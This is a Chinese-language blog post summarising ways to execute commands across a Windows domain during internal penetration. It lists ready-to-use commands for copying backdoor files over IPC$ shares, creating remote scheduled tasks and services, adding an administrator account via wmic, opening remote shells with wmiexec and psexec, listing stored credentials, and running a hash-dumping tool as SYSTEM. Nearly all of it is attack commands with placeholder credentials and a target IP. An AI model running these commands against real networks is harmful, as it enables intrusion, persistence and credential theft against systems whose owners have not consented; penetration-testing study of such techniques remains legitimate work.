内网渗透之域渗透命令执行总结
前言
AD的全称是Active Directory:活动目录
域(Domain)是Windows网络中独立运行的单位,域之间相互访问则需要建立信任关系(即Trust Relation)。信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后两个域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理,以及相互通信和数据传输。
在域渗透场景中,我们已经进入内网,会遇到大量的开放端口和服务,弱密码空密码,这个时候我们可以使用它们已经开启的服务选择对应的方式进行命令执行。本文对ad域渗透中常见的命令执行方式进行一个总结。
ipc
前提
开启ipc共享
配置本地安全策略:开始->运行-> secpol.msc->本地策略->安全选项->网络访问:共享>和本地帐户的安全模型>经典-本地用户进行身份验证
配置本地组策略:运行gpedit.msc ——计算机配置——Windows设置——安全设置——本地策略
——安全选项——用户账户控制:以管理员批准模式运行所有管理员——禁用。
文件共享
写入后门文件
net use z: \\目标IP\c$ 'passwd' /user:'admin'
或
copy hack.bat \\目标ip\c$
#删除连接
net use \\目标IP\ipc$ /del
后续使用下面的方式执行
at(win10不可用)
定时任务执行命令
前提
开启windows Event log服务,开启Task Scheduler服务
其余条件同ipc
命令执行
at \\170.170.64.19 23:00 c:\windows\system32\calc.exe
at \\170.170.64.19 1 delete /yes #删除本机1号任务
schtasks
前提
开启windows Event log服务,开启Task Scheduler服务
其余条件同ipc
schtasks /create /tn firstTask /tr 'c:\windows\system32\cmd.exe /c calc' /sc once /st 00:00 /S 170.170.64.19 /RU System /u admin /p passwd
schtasks /run /tn firstTask /S 170.170.64.19 /u admin /p passwd
schtasks /F /delete /tn firstTask /S 170.170.64.19 /u admin /p passwd
telnet
前提
开启telnet服务
命令执行
telnet 目标ip
之后可执行命令
sc
windows2003
windows XP
命令执行
sc \\170.170.64.19 create testSC binPath= 'cmd.exe /c start c:\windows\hack.bat'
sc \\170.170.64.19 start testSC
sc \\170.170.64.19 delete testSC
wmic
前提
开启wmi服务,135端口
命令执行
wmic /node:170.170.64.19 /user:admin /password:passwd process call create 'cmd.exe /c calc.exe'
wmic /node:170.170.64.19 /user:admin /password:passwd process call create 'cmd.exe /c net user test 123456 /add && net localgroup administrators test /add'
wmiexec.vbs(需要安装)
前提
开启wmi服务,135端口
安装
下载vmiexec.vbs
命令执行
cscript.exe //nologo wmiexec.vbs /shell 170.170.64.19 admin passwd
cscript.exe wmiexec.vbs /cmd 170.170.64.19 admin passwd 'cmdkey /list'
cscript.exe wmiexec.vbs /cmd 170.170.64.19 admin passwd c:\programdata\test.bat
#其他参数
-wait5000 表示这个命令等待5s后再读取结果,用于运行“运行时间长”的命令。
-persist 程序会在后台运行,不会有结果输出,而且会返回这个命令进程的 PID,方便结束进程,用于运行 nc 或者木马程序。
impackets wmiexec(需要安装)
前提
开启wmi服务,135端口
安装
git clone https://github.com/SecureAuthCorp/impacket/
pip install -r requirements.txt
pip install impacket
命令执行
#获取远程计算机交互式shell
python wmiexec.py admin:passwd@170.170.64.19
psexec(需要安装)
前提
开启admin$共享
安装
在 https://docs.microsoft.com/en-us/sysinternals/downloads/psexec
下载安装
命令执行
#打开交互式shell
psexec \\170.170.64.19 -u admin -p passwd cmd
#执行单条命令
psexec \\170.170.64.19 -u admin -p passwd -s cmd /c 'calc.exe'
#拷贝文件到远程计算机并执行
psexec \\170.170.64.19 -u admin -p passwd -c C:\Users\Administrator\Desktop\GetHashes.exe
#其他参数
–accepteula 第一次运行会弹框,输入这个参数便不会弹框
-s 以 “nt authority\system” 权限运行远程进程
-h 如果可以,以管理员权限运行远程进程
-d 不等待程序执行完就返回,请只对非交互式应用程序使用此选项
\\ip 可以替换成 @ip.txt (存放多个 ip 的文本),可以批量执行命令
远程桌面
前提
开启远程桌面,3389端口
命令执行
可直接通过mstsc进入目标系统。
作者:Leticia,文章来源:Leticia's Blog